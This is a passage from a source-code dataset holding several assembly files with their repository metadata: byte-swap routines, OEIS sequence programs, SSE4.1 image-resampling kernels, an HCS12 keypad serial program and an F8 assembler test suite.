; End of WCompRgchIndex
sEnd index2
end
| 19.160377
| 75
| 0.614229
|
b17fe2e06fb93229c63619c88bfddb6be38ed97b
| 232
|
asm
|
Assembly
|
untested/x64/bswap.asm
|
GabrielRavier/Generic-Assembly-Samples
|
fbf803960a14307b7fce0165058d0d4048abaf42
|
[
"Unlicense"
] | null | null | null |
untested/x64/bswap.asm
|
GabrielRavier/Generic-Assembly-Samples
|
fbf803960a14307b7fce0165058d0d4048abaf42
|
[
"Unlicense"
] | null | null | null |
untested/x64/bswap.asm
|
GabrielRavier/Generic-Assembly-Samples
|
fbf803960a14307b7fce0165058d0d4048abaf42
|
[
"Unlicense"
] | null | null | null |
global _bswap16
global _bswap32
global _bswap64
segment .text align=16
_bswap16:
mov eax, edi
rol ax, 8
ret
align 16
_bswap32:
mov eax, edi
bswap eax
ret
align 16
_bswap64:
mov rax, rdi
bswap rax
ret
| 7.733333
| 22
| 0.672414
|
da8dcd3a31a2b5035d5b421535ab950091863ea7
| 770
|
asm
|
Assembly
|
programs/oeis/268/A268622.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/268/A268622.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/268/A268622.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A268622: Number of n X 2 0..2 arrays with some element plus some horizontally or vertically adjacent neighbor totalling two no more than once.
; 9,42,174,666,2430,8586,29646,100602,336798,1115370,3661038,11927898,38618046,124357194,398580750,1272269754,4046391774,12827922858,40550011182,127848761370,402142467582,1262215953162,3954013510734,12364137485946,38598703319070,120314982540906,374501565373806,1164174549374682,3614533207883838
mov $5,$0
mov $7,2
lpb $7,1
mov $0,$5
sub $7,1
add $0,$7
mov $2,$0
mov $3,$0
mov $4,6
lpb $0,1
sub $0,1
mul $4,$2
mov $2,1
add $4,$3
add $3,$4
mov $4,2
add $4,$3
lpe
add $3,1
mov $6,$3
mov $8,$7
lpb $8,1
mov $1,$6
sub $8,1
lpe
lpe
lpb $5,1
sub $1,$6
mov $5,0
lpe
| 22.647059
| 294
| 0.676623
|
9d017f32562b9b6c3fd24ad0817bc9aeaf8617a0
| 365
|
asm
|
Assembly
|
programs/oeis/046/A046824.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/046/A046824.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/046/A046824.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A046824: Number of 1's in binary expansion of 5n+4.
; 1,2,3,3,2,4,2,4,3,3,4,5,1,3,3,5,3,4,5,4,3,5,4,6,5,2,3,4,2,4,4,6,3,4,5,5,4,6,3,5,4,4,5,6,3,5,5,7,5,6,7,3,2,4,3,5,4,3,4,5,3,5,5,7,3,4,5,5,4,6,4,6,5,5,6,7,2,4,4,6,4,5,6,5,4,6,5,7,6,4,5,6,4
mul $0,5
add $0,4
seq $0,120 ; 1's-counting sequence: number of 1's in binary expansion of n (or the binary weight of n).
| 52.142857
| 187
| 0.594521
|
0ccc2010a2340f52de41847233c597e6cf6a5d48
| 6,408
|
asm
|
Assembly
|
module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_resample_sse41.asm
|
1aq/PBox
|
67ced599ee36ceaff097c6584f8100cf96006dfe
|
[
"MIT"
] | null | null | null |
module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_resample_sse41.asm
|
1aq/PBox
|
67ced599ee36ceaff097c6584f8100cf96006dfe
|
[
"MIT"
] | 1
|
2019-11-14T04:18:32.000Z
|
2019-11-14T04:18:32.000Z
|
module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_resample_sse41.asm
|
1aq/PBox
|
67ced599ee36ceaff097c6584f8100cf96006dfe
|
[
"MIT"
] | null | null | null |
segment .rdata, align=16
round dq 0000000000002000h
colround dq 0000200000002000h
segment .text
global _vdasm_resize_table_row_8_k8_4x_SSE41
_vdasm_resize_table_row_8_k8_4x_SSE41:
push ebp
push edi
push esi
push ebx
movq xmm6, [round]
pshufd xmm6, xmm6, 0
mov ebp, [esp + 4 + 16] ;ebp = dst
mov esi, [esp + 12 + 16] ;esi = width
mov edi, [esp + 16 + 16] ;edi = kernel
.yloop:
;eax = temp
;ebx = temp
;ecx = temp
;edx = temp
;esi = horiz counter
;edi = filter list
;ebp = destination
mov eax, [edi+0]
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [esp+8+16]
add eax, edx
add ebx, edx
add ecx, edx
add edx, [edi+12]
pmovzxbw xmm0, [eax]
pmaddwd xmm0, [edi+10h]
pmovzxbw xmm1, [ebx]
pmaddwd xmm1, [edi+20h]
pmovzxbw xmm2, [ecx]
pmaddwd xmm2, [edi+30h]
pmovzxbw xmm3, [edx]
pmaddwd xmm3, [edi+40h]
add edi, 50h
phaddd xmm0, xmm1
phaddd xmm2, xmm3
phaddd xmm0, xmm2
paddd xmm0, xmm6
psrad xmm0, 14
packssdw xmm0, xmm0
packuswb xmm0, xmm0
movd [ebp], xmm0
add ebp, 4
sub esi, 1
jne .yloop
pop ebx
pop esi
pop edi
pop ebp
ret
global _vdasm_resize_table_row_8_k16_4x_SSE41
_vdasm_resize_table_row_8_k16_4x_SSE41:
push ebp
push edi
push esi
push ebx
movq xmm6, [round]
pshufd xmm6, xmm6, 0
mov ebp, [esp + 4 + 16] ;ebp = dst
mov esi, [esp + 12 + 16] ;esi = width
mov edi, [esp + 16 + 16] ;edi = kernel
.yloop:
;eax = temp
;ebx = temp
;ecx = temp
;edx = temp
;esi = horiz counter
;edi = filter list
;ebp = destination
mov eax, [edi+0]
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [esp+8+16]
add eax, edx
add ebx, edx
add ecx, edx
add edx, [edi+12]
pmovzxbw xmm0, [eax]
pmaddwd xmm0, [edi+10h]
pmovzxbw xmm1, [ebx]
pmaddwd xmm1, [edi+20h]
pmovzxbw xmm2, [ecx]
pmaddwd xmm2, [edi+30h]
pmovzxbw xmm3, [edx]
pmaddwd xmm3, [edi+40h]
pmovzxbw xmm4, [eax+8]
pmaddwd xmm4, [edi+50h]
pmovzxbw xmm5, [ebx+8]
pmaddwd xmm5, [edi+60h]
paddd xmm0, xmm4
pmovzxbw xmm4, [ecx+8]
pmaddwd xmm4, [edi+70h]
paddd xmm1, xmm5
pmovzxbw xmm5, [edx+8]
pmaddwd xmm5, [edi+80h]
paddd xmm2, xmm4
paddd xmm3, xmm5
add edi, 90h
phaddd xmm0, xmm1
phaddd xmm2, xmm3
phaddd xmm0, xmm2
paddd xmm0, xmm6
psrad xmm0, 14
packssdw xmm0, xmm0
packuswb xmm0, xmm0
movd [ebp], xmm0
add ebp, 4
sub esi, 1
jne .yloop
pop ebx
pop esi
pop edi
pop ebp
ret
global _vdasm_resize_table_row_8_SSE41
_vdasm_resize_table_row_8_SSE41:
push ebp
push edi
push esi
push ebx
pxor xmm7, xmm7
movq xmm6, [round]
mov edi, [esp + 4 + 16] ;edi = dst
mov ebx, [esp + 8 + 16] ;ebx = src
mov ebp, [esp + 12 + 16] ;ebp = width
mov edx, [esp + 16 + 16] ;edx = kernel
.yloop:
;eax = temp
;ebx = source base address
;ecx = (temp) source
;edx = filter list
;esi = (temp) kernel width
;edi = destination
;ebp = horiz counter
mov eax, [edx]
add edx, 16
lea ecx, [ebx + eax]
mov esi, [esp + 20 + 16] ;esi = kernel width
movq xmm2, xmm6
.xloop:
pmovzxbw xmm0, [ecx]
add ecx, 8
pmaddwd xmm0, [edx]
paddd xmm2, xmm0
add edx, 16
sub esi, 8
jne .xloop
phaddd xmm2, xmm2
phaddd xmm2, xmm2
psrad xmm2, 14
packssdw xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm2
mov [edi], al
add edi, 1
sub ebp, 1
jne .yloop
pop ebx
pop esi
pop edi
pop ebp
ret
global _vdasm_resize_table_col_8_k2_SSE41
_vdasm_resize_table_col_8_k2_SSE41:
push ebp
push edi
push esi
push ebx
movq xmm6, [colround]
pshufd xmm6, xmm6, 0
mov esi, [esp + 4 + 16] ;esi = dst
mov edi, [esp + 16 + 16] ;edi = kernel
mov ebp, [esp + 12 + 16] ;ebp = width
movq xmm7, [edi]
pshufd xmm7, xmm7, 0
mov edx, [esp + 8 + 16] ;ebx = srcs
mov eax, [edx+0]
mov ebx, [edx+4]
add eax, ebp
add ebx, ebp
neg ebp
.yloop:
;eax = row0
;ebx = row1
;ecx =
;edx =
;edi = kernel
;esi = dest
;ebp = width counter
movd xmm0, [eax+ebp]
movd xmm2, [ebx+ebp]
punpcklbw xmm0, xmm2
pmovzxbw xmm0, xmm0
pmaddwd xmm0, xmm7
paddd xmm0, xmm6
psrad xmm0, 14
packssdw xmm0, xmm0
packuswb xmm0, xmm0
movd [esi], xmm0
add esi, 4
add ebp, 4
jnz .yloop
pop ebx
pop esi
pop edi
pop ebp
ret
global _vdasm_resize_table_col_8_k4_SSE41
_vdasm_resize_table_col_8_k4_SSE41:
push ebp
push edi
push esi
push ebx
movq xmm7, [colround]
pshufd xmm7, xmm7, 0
mov esi, [esp + 4 + 16] ;esi = dst
mov edi, [esp + 16 + 16] ;edi = kernel
movdqu xmm6, [edi]
pshufd xmm5, xmm6, 0
pshufd xmm6, xmm6, 0aah
mov edx, [esp + 8 + 16] ;ebx = srcs
mov ebp, [esp + 12 + 16]
mov eax, [edx+0]
mov ebx, [edx+4]
mov ecx, [edx+8]
mov edx, [edx+12]
lea eax, [eax+ebp-4]
lea ebx, [ebx+ebp-4]
lea ecx, [ecx+ebp-4]
lea edx, [edx+ebp-4]
lea esi, [esi+ebp-4]
neg ebp
add ebp,4
jz .odd
.yloop:
;eax = row0
;ebx = row1
;ecx = row2
;edx = row3
;edi = kernel
;esi = dest
;ebp = width counter
movd xmm0, [eax+ebp]
movd xmm1, [ebx+ebp]
punpcklbw xmm0, xmm1
movd xmm1, [ecx+ebp]
movd xmm2, [edx+ebp]
punpcklbw xmm1, xmm2
movd xmm2, [eax+ebp+4]
movd xmm3, [ebx+ebp+4]
punpcklbw xmm2, xmm3
movd xmm3, [ecx+ebp+4]
movd xmm4, [edx+ebp+4]
punpcklbw xmm3, xmm4
pmovzxbw xmm0, xmm0
pmaddwd xmm0, xmm5
pmovzxbw xmm1, xmm1
pmaddwd xmm1, xmm6
pmovzxbw xmm2, xmm2
pmaddwd xmm2, xmm5
pmovzxbw xmm3, xmm3
pmaddwd xmm3, xmm6
paddd xmm0, xmm1
paddd xmm2, xmm3
paddd xmm0, xmm7
paddd xmm2, xmm7
psrad xmm0, 14
psrad xmm2, 14
packssdw xmm0, xmm2
packuswb xmm0, xmm0
movq [esi+ebp], xmm0
add ebp, 8
js .yloop
jnz .noodd
.odd:
movd xmm0, [eax]
movd xmm1, [ebx]
movd xmm2, [ecx]
movd xmm3, [edx]
punpcklbw xmm0, xmm1
punpcklbw xmm2, xmm3
pmovzxbw xmm0, xmm0
pmovzxbw xmm2, xmm2
pmaddwd xmm0, xmm5
pmaddwd xmm2, xmm6
paddd xmm0, xmm2
paddd xmm0, xmm7
psrad xmm0, 14
packssdw xmm0, xmm0
packuswb xmm0, xmm0
movd [esi], xmm0
.noodd:
pop ebx
pop esi
pop edi
pop ebp
ret
end
| 17.849582
| 49
| 0.597378
|
3bc9f95a072ce868495cb512a1b2774d7dd734cc
| 9,468
|
asm
|
Assembly
|
hcs12_relocatable_asm/Sources/serialcom_keypad.asm
|
billhhh/hcs12_arduino_mp3
|
090df45ce5b6370467c62106f2e75791934050d0
|
[
"MIT"
] | null | null | null |
hcs12_relocatable_asm/Sources/serialcom_keypad.asm
|
billhhh/hcs12_arduino_mp3
|
090df45ce5b6370467c62106f2e75791934050d0
|
[
"MIT"
] | null | null | null |
hcs12_relocatable_asm/Sources/serialcom_keypad.asm
|
billhhh/hcs12_arduino_mp3
|
090df45ce5b6370467c62106f2e75791934050d0
|
[
"MIT"
] | null | null | null |
;****************************************************************************************
;*TITLE: serialcom_keypad.ASM *
;*AUTHOR: Bill Wang *
;*DATE: 12-05-16 *
;* Code modified for Dragon 12+ board derived from example 12.4 of *
;* HCS12 Microconntroller and Embedded Systems *
;* by: Mazidi and Causy *
;*Notes : 1) Columns are to be treated as inputs Rows are outputs. *
;* Rows are set HIGH to start and brougnt low, if a column on that *
;* row is found to be low, then that button value (0-15) is returned. *
;* *
;* C0 C1 C2 C3 *
;* PA0 PA1 PA2 PA3 *
;* | | | | *
;* ----------------- *
;* | | | | | *
;* | 0 | 1 | 2 | 3 | *
;* ------------------- PA4, R0 *
;* | | | | | *
;* | 4 | 5 | 6 | 7 | *
;* ------------------- PA5, R1 *
;* | | | | | *
;* | 8 | 9 | 10| 11| *
;* ------------------- PA6, R2 *
;* | | | | | *
;* | 12| 13| 14| 15| *
;* ------------------- PA7, R3 *
;****************************************************************************************
;Keypad program for Dragon12 Plus Trainer Board.
;Press any key and the ASCII code for the key is shown on PORTB LEDs
;with HCS12 Serial Monitor Program installed. This code is for CodeWarrior IDE
;In Dragon12+ RAM address is from $1000-3FFF
;We use RAM addresses starting at $1000 for scratch pad (variables) and $3FFF for Stack
;Make sure you are in HCS12 Serial Monitor Mode before downloading
;and also make sure SW7=LOAD (SW7 is 2-bit red DIP Switch on bottom right side of the board and must be 00, or LOAD)
;Press F7 (to Make), then F5(Debug) to downLOAD,and F5 once more to start the program execution
ABSENTRY Entry ; for absolute assembly: mark this as application entry point
; Include derivative-specific definitions
INCLUDE 'mc9s12dp256.inc' ;CPU used by Dragon12+ board
;----------------------USE $1000-$2FFF for Scratch Pad
D15mH EQU 17
D15mL EQU 250
COLS EQU PORTA
ROWS EQU PORTA
LED EQU PORTB
ROW0 EQU %00010000
ROW1 EQU %00100000
ROW2 EQU %01000000
ROW3 EQU %10000000
COLM EQU %00001111
ROWM EQU %11110000
ORG $1000 ;Keypad Look-up Table
KCODE0 DC.B '0123'
KCODE1 DC.B '4567'
KCODE2 DC.B '89AB'
KCODE3 DC.B 'CDEF'
ORG $1110 ;Delay VARIABLES
DR15mH DS.B 1
DR15mL DS.B 1
PDELAY DS.B 1
;code section
ORG $4000 ;Flash ROM address for Dragon12+
Entry:
LDS #$4000 ;Stack
LDAA #$0
STAA SCI1BDH
LDAA #156 ;For 9600 on Serial COM1
STAA SCI1BDL ;48MHz/2=24MHz, 24MHz/16=1.5MHz and 1.5MHz/9600=156
LDAA #0
STAA SCI1CR1
LDAA #$0C
STAA SCI1CR2
LDAA #$FF ;
STAA DDRB ;MAKE PORTB OUTPUT
lDAA #$02 ;
STAA DDRJ ;ENABLE LED ARRAY ON PORTB OUTPUT
LDAA #$00 ;
STAA PTJ ;
LDAA #$F0 ;MAKE PORT A HIGH NIBLE OUTPUT
STAA DDRA ;LOW NIBLE INPUT
LDAA #$0F ;
STAA DDRP ;
STAA PTP ;TURN OFF 7SEG LED
LDAA #$00 ;
STAA PORTB ;INITIALIZE PORT B
K1: ;TEST TO MAKE SURE NO BUTTON PRESSED
LDAA #ROWM ;
STAA ROWS ;SET ROWS HIGH
LDAA COLS ;CAPTURE PORT A
ANDA #COLM ;MASK OUT ROWS
CMPA #$00 ;
BNE K1 ;IF COLUMS IS ZERO NO BUTTON PRESSED
;DO NOT MOVE ON UNTILL NO BUTTON IS PRESSED
K2: ;
JSR DELAY ;CALL 15mS DELAY
LDAA COLS ;
ANDA #COLM ;
CMPA #$00 ;IF COLS !=0 THEN A BUTTON IS PRESSED
BNE OVER ;
BRA K2 ;IF NO BUTTON PRESSED KEEP CHECKING
OVER: ;
JSR DELAY ;DEBOUCE DELAY
LDAA COLS ;READ PORT A
ANDA #COLM ;MASK OUT ROWS
CMPA #$00 ;CHECK FOR PRESS AFTER DEBOUNCE
BNE OVER1 ;IF PRESSED GO FIND WHAT ROW
BRA K2 ;IF NO PRESS AFTER DEBOUNCE GO BACK
OVER1: ;
LDAA #ROW0 ;MAKE HIGH ROW0 THE REST GROUNDED
STAA ROWS ;
MOVB #$08,PDELAY ;SET COUNT TO PROVIDE SHORT DELAY FOR STABILITY
P1: ;AFTER CHANGING THE PORT A OUTPUT
DEC PDELAY ;DECREMENT COUNT
BNE P1 ;IF COUNT NOT ZERO KEEP DECREMENTING
LDAA COLS ;READ PORTA
ANDA #COLM ;MASK OUT ROWS
CMPA #$00 ;IS INPUT ZERO?
BNE R0 ;IF COLUMS NOT ZERO THEN BUTTON IS IN ROW 0
LDAA #ROW1 ;IF ZERO THEN BUTTON NOT IN ROW0
STAA ROWS ;TURN ON ROW 1 TURN OFF ALL OTHERS
MOVB #$08,PDELAY ;SHORT DELAY TO STABALIZE
P2: ;AFTER CHANGING THE PORT A OUTPUT
DEC PDELAY ;DECREMENT COUNT
BNE P2 ;IF COUNT NOT ZERO KEEP DECREMENTING
LDAA COLS ;READ PORT A
ANDA #COLM ;MASK OUT ROWS
CMPA #$00 ;CHECK FOR KEY PRESS
BNE R1 ;IF PRESSED KEY IS IN ROW1
LDAA #ROW2 ;IF ZERO BUTTON NOT IN ROW1
STAA ROWS ;TURN ON ROW2 ALL OTHERS OFF
MOVB #$08,PDELAY ;SHORT DELAY TO STABALIZE PORTA
P3: ;
DEC PDELAY ;DECREMENT COUNT
BNE P3 ;DELAY LOOP
LDAA COLS ;READ PORTA
ANDA #COLM ;MASK OUT ROWS
CMPA #$00 ;CHECK FOR PRESS
BNE R2 ;IF FOUND KEY IS IN ROW2
LDAA #ROW3 ;IF ZERO MOVE TO ROW3
STAA ROWS ;TURN ON ROW3 ALL OTHERS OFF
MOVB #$08,PDELAY ;SHORT DELAY TO STABALIZE OUTPUT
P4: ;
DEC PDELAY ;DECREMENT DELAY
BNE P4 ;DELAY LOOP
LDAA COLS ;READ PORT A
ANDA #COLM ;MASK OUT ROWS
CMPA #$00 ;CHECK FOR PRESS
BNE R3 ;IF FOUND KEY IN ROW3
BRA K2 ;IF ROW NOT FOUND GO BACK TO START
R0: ;
LDX #KCODE0 ;LOAD PONTER TO ROW0 ARRAY
BRA FIND ;GO FIND COLUMN
R1: ;
LDX #KCODE1 ;LOAD POINTER TO ROW1 ARRAY
BRA FIND ;GO FIND COUMN
R2: ;
LDX #KCODE2 ;LOAD PINTER TO ROW2
BRA FIND ;GO FIND COLUMN
R3: ;
LDX #KCODE3 ;LOAD POINTER TO ROW3
BRA FIND ;GO FIND COLUMN
FIND: ;
ANDA #COLM ;MASK OUT ROWS
COMA ;INVERT COLUMN
SHIFT: ;
LSRA ;LOGICAL SHIFT RIGHT PORTA
BCC MATCH ;IF CARY CLEAR COLUM IS FOUND
INX ;IF CARY NOT CLEAR INCREMENT POINTER TO ROW ARRAY
BRA SHIFT ;SHIFT RIGHT UNTIL CARY IS CLEAR.
MATCH: ;
LDAA 0,X
JSR TRANS1 ;LOAD ASCII FROM ROW ARARAY
LBRA K1 ;BACK TO START
;---------------------------------DELAY
DELAY: ;DELAY SUBROUTINE
LDAA #D15mH ;LOAD FIRST LAYER DELAY COUNT
STAA DR15mH ;
D2: ;
LDAA #D15mL ;LOAD SECOND LAYER DELAY COUNT
STAA DR15mL ;
D1: ;
DEC DR15mL ;DECREMENT SECOND LAYER COUNT
NOP ;NOP DELAY
NOP ;
BNE D1 ;BACK TO START OF SECOND LAYER IF NOT ZERO
DEC DR15mH ;IF SECOND LAYER ZERO DECREMENT FIRST LAYER
BNE D2 ;IF FIRST LAYER NOT ZERO GO BACK RELOAD FRIST LAYER
RTS ;RETURN TO FROM SUBROUTINE WEHN LAYER ONE IS ZERO
TRANS1
HERE: BRCLR SCI1SR1, mSCI0SR1_TDRE, HERE
STAA SCI1DRL
RTS
;-------------------------
;**************************************************************
;* Interrupt Vectors *
;**************************************************************
;ORG $FFFE
DC.W Entry ;Reset Vector. CPU wakes here and it is sent to start of the code at $4000
| 43.232877
| 117
| 0.423321
|
20ec95f2443d7397bcb584d5295554501f00ba32
| 163
|
asm
|
Assembly
|
sw/552tests/inst_tests/bnez_6.asm
|
JPShen-UWM/ThreadKraken
|
849c510531f28e36d3469535737b2120bd774935
|
[
"MIT"
] | 1
|
2022-02-15T16:03:25.000Z
|
2022-02-15T16:03:25.000Z
|
sw/552tests/inst_tests/bnez_6.asm
|
JPShen-UWM/ThreadKraken
|
849c510531f28e36d3469535737b2120bd774935
|
[
"MIT"
] | null | null | null |
sw/552tests/inst_tests/bnez_6.asm
|
JPShen-UWM/ThreadKraken
|
849c510531f28e36d3469535737b2120bd774935
|
[
"MIT"
] | null | null | null |
// Original test: ./mshi/hw4/problem6/bnez_1.asm
// Author: mshi
// Test source code follows
lbi r1, 1
bnez r1, .Label2
.Label1:
lbi r2,0
.Label2:
lbi r2,1
halt
| 12.538462
| 48
| 0.693252
|
0e7a76fa62061ca2e3351df954e7e3992f13c32d
| 9,539
|
asm
|
Assembly
|
dasm/src/test/suitef8.asm
|
zeh/dasmjs
|
8af59ccbba4fd1f4c9404e6078dca6770e0b251b
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | 16
|
2017-01-08T18:10:59.000Z
|
2021-02-16T17:46:35.000Z
|
dasm/src/test/suitef8.asm
|
paul80nd/dasmjs
|
3530f5cfd0761a83bb4d2cb5ae0612fef44b9291
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null |
dasm/src/test/suitef8.asm
|
paul80nd/dasmjs
|
3530f5cfd0761a83bb4d2cb5ae0612fef44b9291
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | 4
|
2019-08-17T21:03:29.000Z
|
2020-12-04T14:48:13.000Z
|
; Fairchild F8 test suite for DASM
; 2004 by Thomas Mathys
processor f8
TWO = 2
org 0
start
adc ; 8e
ai $f8 ; 24 f8
am ; 88
amd ; 89
as start ; c0
as start+1 ; c1
as TWO ; c2
as 3 ; c3
as 4 ; c4
as 5 ; c5
as 2*[1+2] ; c6
as 7 ; c7
as (2+2)*2 ; c8
as 9 ; c9
as j ; c9
as $a ; ca
as hu ; ca
as 11 ; cb
as hl ; cb
as s ; cc
as (is) ; cc
as i ; cd
as (is)+ ; cd
as d ; ce
as (is)- ; ce
asd start ; d0
asd start+1 ; d1
asd TWO ; d2
asd 3 ; d3
asd 4 ; d4
asd 5 ; d5
asd 2*[1+2] ; d6
asd 7 ; d7
asd (2+2)*2 ; d8
asd 9 ; d9
asd j ; d9
asd $a ; da
asd hu ; da
asd 11 ; db
asd hl ; db
asd s ; dc
asd (is) ; dc
asd i ; dd
asd (is)+ ; dd
asd d ; de
asd (is)- ; de
bc . ; 82 ff
bf 12,. ; 9c ff
bm . ; 91 ff
bnc . ; 92 ff
bno . ; 98 ff
bnz . ; 94 ff
bp . ; 81 ff
br . ; 90 ff
br7 . ; 8f ff
bt 5,. ; 85 ff
bz . ; 84 ff
ci 4096/64-1 ; 25 3f
clr ; 70
cm ; 8d
com ; 18
dci TWO ; 2a 00 02
dci $1234 ; 2a 12 34
di ; 1a
ds start ; 30
ds start+1 ; 31
ds TWO ; 32
ds 3 ; 33
ds 4 ; 34
ds 5 ; 35
ds 2*[1+2] ; 36
ds 7 ; 37
ds (2+2)*2 ; 38
ds 9 ; 39
ds j ; 39
ds $a ; 3a
ds hu ; 3a
ds 11 ; 3b
ds hl ; 3b
ds s ; 3c
ds (is) ; 3c
ds i ; 3d
ds (is)+ ; 3d
ds d ; 3e
ds (is)- ; 3e
ei ; 1b
in TWO ; 26 02
in 16*16-1 ; 26 ff
inc ; 1f
ins 5*3-15 ; a0
ins 15+start ; af
jmp $1234 ; 29 12 34
li TWO ; 20 02
lis %111 ; 77
lisl (TWO+TWO)*TWO-1 ; 6f
lisu 4 ; 64
lm ; 16
lnk ; 19
lr start,a ; 50
lr start+1,a ; 51
lr TWO,a ; 52
lr 3,a ; 53
lr 4,a ; 54
lr 5,a ; 55
lr 2*[1+2],a ; 56
lr 7,a ; 57
lr (2+2)*2,a ; 58
lr 9,a ; 59
lr j,a ; 59
lr $a,a ; 5a
lr hu,a ; 5a
lr 11,a ; 5b
lr hl,a ; 5b
lr s,a ; 5c
lr (is),a ; 5c
lr i,a ; 5d
lr (is)+,a ; 5d
lr d,a ; 5e
lr (is)-,a ; 5e
lr a,start ; 40
lr a,start+1 ; 41
lr a,TWO ; 42
lr a,3 ; 43
lr a,4 ; 44
lr a,5 ; 45
lr a,2*[1+2] ; 46
lr a,7 ; 47
lr a,(2+2)*2 ; 48
lr a,9 ; 49
lr a,j ; 49
lr a,$a ; 4a
lr a,hu ; 4a
lr a,11 ; 4b
lr a,hl ; 4b
lr a,s ; 4c
lr a,(is) ; 4c
lr a,i ; 4d
lr a,(is)+ ; 4d
lr a,d ; 4e
lr a,(is)- ; 4e
lr a,ku ; 00
lr a,kl ; 01
lr a,qu ; 02
lr a,ql ; 03
lr ku,a ; 04
lr kl,a ; 05
lr qu,a ; 06
lr ql,a ; 07
lr h,dc0 ; 11
lr h,dc ; 11
lr q,dc0 ; 0e
lr q,dc ; 0e
lr dc0,h ; 10
lr dc,h ; 10
lr dc0,q ; 0f
lr dc,q ; 0f
lr k,pc1 ; 08
lr k,p ; 08
lr pc1,k ; 09
lr p,k ; 09
lr pc0,q ; 0d
lr p0,q ; 0d
lr a,is ; 0a
lr is,a ; 0b
lr w,j ; 1d
lr w,(TWO+1)*3 ; 1d
lr 9,w ; 1e
lr j,w ; 1e
ni %10000001 ; 21 81
nm ; 8a
nop ; 2b
ns start ; f0
ns start+1 ; f1
ns TWO ; f2
ns 3 ; f3
ns 4 ; f4
ns 5 ; f5
ns 2*[1+2] ; f6
ns 7 ; f7
ns (2+2)*2 ; f8
ns 9 ; f9
ns j ; f9
ns $a ; fa
ns hu ; fa
ns 11 ; fb
ns hl ; fb
ns s ; fc
ns (is) ; fc
ns i ; fd
ns (is)+ ; fd
ns d ; fe
ns (is)- ; fe
oi (TWO+start)*64 ; 22 80
om ; 8b
out TWO ; 27 02
out 16*16-1 ; 27 ff
outs 5*3-15 ; b0
outs 15+start ; bf
pi start ; 28 00 00
pi $1234 ; 28 12 34
pk ; 0c
pop ; 1c
sl start+1 ; 13
sl TWO+TWO ; 15
sr 1 ; 12
sr 3+1 ; 14
st ; 17
xdc ; 2c
xi 64 ; 23 40
xm ; 8c
xs start ; e0
xs start+1 ; e1
xs TWO ; e2
xs 3 ; e3
xs 4 ; e4
xs 5 ; e5
xs 2*[1+2] ; e6
xs 7 ; e7
xs (2+2)*2 ; e8
xs 9 ; e9
xs j ; e9
xs $a ; ea
xs hu ; ea
xs 11 ; ab
xs hl ; eb
xs s ; ec
xs (is) ; ec
xs i ; ed
xs (is)+ ; ed
xs d ; ee
xs (is)- ; ee
xs 12 ; ec
xs 13 ; ed
xs 14 ; ee
dc.b 0 ; 00
dc.w $1234 ; 12 34
dc.l $deadbeef ; de ad be ef
db 0 ; 00
dw $1234 ; 12 34
dd $deadbeef ; de ad be ef
byte 0 ; 00
word $1234 ; 12 34
long $deadbeef ; de ad be ef
.byte 0 ; 00
.word $1234 ; 12 34
.long $deadbeef ; de ad be ef
res.b 4, $33 ; 33 33 33 33
res.w 2, $1234 ; 12 34 12 34
res.l 2, $deadbeef ; de ad be ef de ad be ef
| 34.067857
| 57
| 0.196876
|
89536a9512b7931c8e2d8c800709a0dd7bcd6a00
| 1,122
|
asm
|
Assembly
|
non_regression/comm_x86_linux.mingw.s.asm
|
LRGH/plasmasm
|
4cd50546c3dc895763d72dd60b7c46179c1916bc
|
[
"Apache-2.0"
] | 1
|
2021-02-28T21:31:18.000Z
|
2021-02-28T21:31:18.000Z
|
non_regression/comm_x86_linux.mingw.s.asm
|
LRGH/plasmasm
|
4cd50546c3dc895763d72dd60b7c46179c1916bc
|
[
"Apache-2.0"
] | null | null | null |
non_regression/comm_x86_linux.mingw.s.asm
|
LRGH/plasmasm
|
4cd50546c3dc895763d72dd60b7c46179c1916bc
|
[
"Apache-2.0"
] | null | null | null |
.file "a10.c"
.intel_syntax
.lcomm s.0,16
# ----------------------
.text
.def _main; .scl 2; .type 32; .endef
_main:
push ebp
mov ebp, esp
sub esp, 88
and esp, -16
mov eax, 0
add eax, 15
add eax, 15
shr eax, 4
sal eax, 4
mov DWORD PTR [ebp-76], eax
mov eax, DWORD PTR [ebp-76]
call __alloca
call ___main
movsx edx, BYTE PTR [ebp-9]
movsx eax, WORD PTR s.0
lea eax, [edx+eax]
add eax, DWORD PTR [ebp-16]
cdq
add eax, DWORD PTR [ebp-24]
adc edx, DWORD PTR [ebp-20]
push edx
push eax
fild QWORD PTR [esp]
lea esp, [esp+8]
fadd DWORD PTR [ebp-28]
fadd QWORD PTR [ebp-40]
fld TBYTE PTR [ebp-56]
faddp st(1), st
fnstcw WORD PTR [ebp-58]
movzx eax, WORD PTR [ebp-58]
or ax, 3072
mov WORD PTR [ebp-60], ax
fldcw WORD PTR [ebp-60]
fistp DWORD PTR [ebp-64]
fldcw WORD PTR [ebp-58]
mov eax, DWORD PTR [ebp-64]
leave
ret
# ----------------------
.def ___main; .scl 2; .type 32; .endef
| 23.375
| 39
| 0.503565
|
97f7ac251eb145f8663faa5917a3a2a9d43ef537
| 1,961
|
asm
|
Assembly
|
